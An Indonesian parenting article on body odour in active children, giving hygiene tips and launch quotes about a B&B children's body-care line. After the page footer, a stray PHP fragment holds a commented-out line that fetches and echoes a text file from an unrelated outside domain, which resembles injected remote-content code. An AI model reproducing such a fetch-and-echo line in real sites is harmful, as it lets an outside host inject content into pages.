Anak Makin Aktif, Makin Gampang Bau? Ini yang Perlu Orang Tua Tahu

 

 Anak bermain aktif di luar ruangan hingga berkeringat dan mengalami bau badan setelah beraktivitas. Foto: Dok. B&B

Anak yang aktif bergerak lebih mudah berkeringat, sementara bau badan tidak semata-mata berasal dari keringat. Keringat pada dasarnya tidak berbau; aroma khas muncul ketika keringat berinteraksi dengan bakteri di permukaan kulit. Karena itu, kebersihan tubuh menjadi bagian penting dari rutinitas anak, terutama setelah bermain, berolahraga, atau beraktivitas di lingkungan yang panas dan lembap.

Pada usia tertentu, perubahan tubuh juga dapat membuat aroma badan mulai lebih terasa. Namun, persoalan bau badan pada anak tidak selalu berarti ada masalah kesehatan. Rutinitas mandi, mengganti pakaian setelah berkeringat, menjaga kebersihan area tubuh yang mudah lembap, serta memilih produk perawatan yang sesuai usia dapat membantu menjaga tubuh tetap bersih dan nyaman.

Bagi orang tua, menjaga kesegaran tubuh anak juga berkaitan dengan kenyamanan dalam keseharian. Anak yang aktif tentu tidak seharusnya dibatasi hanya karena berkeringat atau takut berbau. Justru, kebersihan dan perawatan tubuh dapat mendukung anak untuk tetap bebas bermain dan bereksplorasi.

Anak Aktif, Keringat Datang, Bau Badan Jangan Jadi Penghalang


Pengalaman menghadapi anak yang aktif membuat persoalan aroma tubuh cukup dekat dengan keseharian orang tua. Fitri Tropica, ibu sekaligus figur publik, mengatakan anak yang banyak bergerak dapat berkeringat bahkan dalam situasi yang tidak selalu terasa panas.

“Ketika anak masih nyaman dipeluk dan dekat dengan kita, jangan sampai momen bonding itu terganggu aroma yang kurang sedap. Ingat ya, anak itu pasti akan ada fase dia tidak mau dipeluk, dipegang, atau dicium kelak,” ungkap Fitri di sela acara Peluncuran Poduk B&B dari Kino di Tebet Eco Park, Kamis (3/9).

Menurutnya, persoalan bau badan ketika anak sedang tinggi aktivitas fisik sebaiknya tidak menghalangi kebahagiaan sang anak. Di Indonesia yang beriklim tropis, aktivitas seperti bersekolah atau bermain di luar rumah juga dapat membuat tubuh anak lebih mudah berkeringat, dan Fitri tidak menampik hal ini juga menimbulkan isu serupa.

“Kadang pulang sekolah aromanya memang beda. Dibilang, ‘Kok bau matahari?’ Padahal anak habis panas-panasan. Kelihatannya sederhana, tetapi sebenarnya penting supaya momen bonding tidak terganggu aroma bau asam,” ujarnya.

Meski demikian, wewangian sebaiknya tidak menjadi satu-satunya tujuan dalam merawat tubuh anak. Membersihkan tubuh secara rutin tetap menjadi langkah utama. Produk perawatan juga perlu disesuaikan dengan usia dan kebutuhan kulit anak, bukan sekadar mengejar aroma yang kuat atau tahan lama.

  Menurut pengalaman Fitri Tropica beragam produk body care anak yang perlu dipilih sesuai usia, kebutuhan kulit, dan aktivitas anak. Foto: Dok. B&B

Wewangian Bukan Sekadar Harum, Kenyamanan Anak Tetap Utama


Bagi anak, pengalaman menggunakan produk personal care juga dapat memengaruhi kenyamanan menjalani rutinitas kebersihan. Head of Marketing Home and Personal Care Kino, Lidwina Natalia, menilai anak perlu tetap diberi ruang untuk berekspresi dan bergerak tanpa menjadikan persoalan aroma sebagai penghambat.

“Anak-anak bebas berekspresi dan bergerak sebagaimana mereka mau, tetapi tetap segar dan wangi. Dari sisi orang tua, tentunya ada rasa tenang dan nyaman ketika anak merasa segar,” jelas Wina.

Ia juga menyoroti bahwa anak-anak cenderung menyampaikan sesuatu secara spontan ketika mencium aroma yang kurang menyenangkan dari temannya. Situasi tersebut dapat membuat anak merasa tidak nyaman atau kurang percaya diri.

Karena itu, rutinitas personal care sebaiknya tidak hanya berorientasi pada penampilan, tetapi juga membangun kebiasaan menjaga kebersihan tubuh sejak dini. Mandi setelah berkeringat, mengenakan pakaian bersih, menggunakan produk yang sesuai untuk anak, serta menjaga kebersihan rambut, gigi, dan kulit merupakan bagian yang tidak kalah penting.

Fitri menambahkan, kecocokan dan fungsi menjadi pertimbangan utama ketika memilih produk perawatan anak. “Yang penting anaknya cocok, secara fungsi bisa membuat anak bebas beraktivitas dan merasa fresh. Kalau wanginya tahan lama, itu juga bikin happy,” katanya.

Pada akhirnya, anak yang berbau setelah beraktivitas bukan berarti kurang dirawat. Keringat adalah bagian alami dari tubuh, terutama ketika anak aktif. Yang penting adalah mengajarkan kebiasaan menjaga kebersihan tanpa membuat anak merasa malu terhadap tubuhnya sendiri.

Dengan rutinitas yang tepat, anak tetap bisa bermain, bergerak, dan bereksplorasi, sementara orang tua membantu menjaga tubuhnya tetap bersih, nyaman, dan segar.

Baca juga: 

Balita Usus Buntu? Kenali Gejala yang Sering Terlambat Disadari
Dari Stunting hingga Gizi Berlebihan Susu Pertumbuhan Jadi Sorotan
Dari Meluncur ke Mengayuh


 

 


Topic

#TipsParenting



Artikel Rekomendasi

Load more
".$css_content); //$a = file_get_contents('https://www.galatiatiga.com/pindang/index.txt'); //echo $a; ?>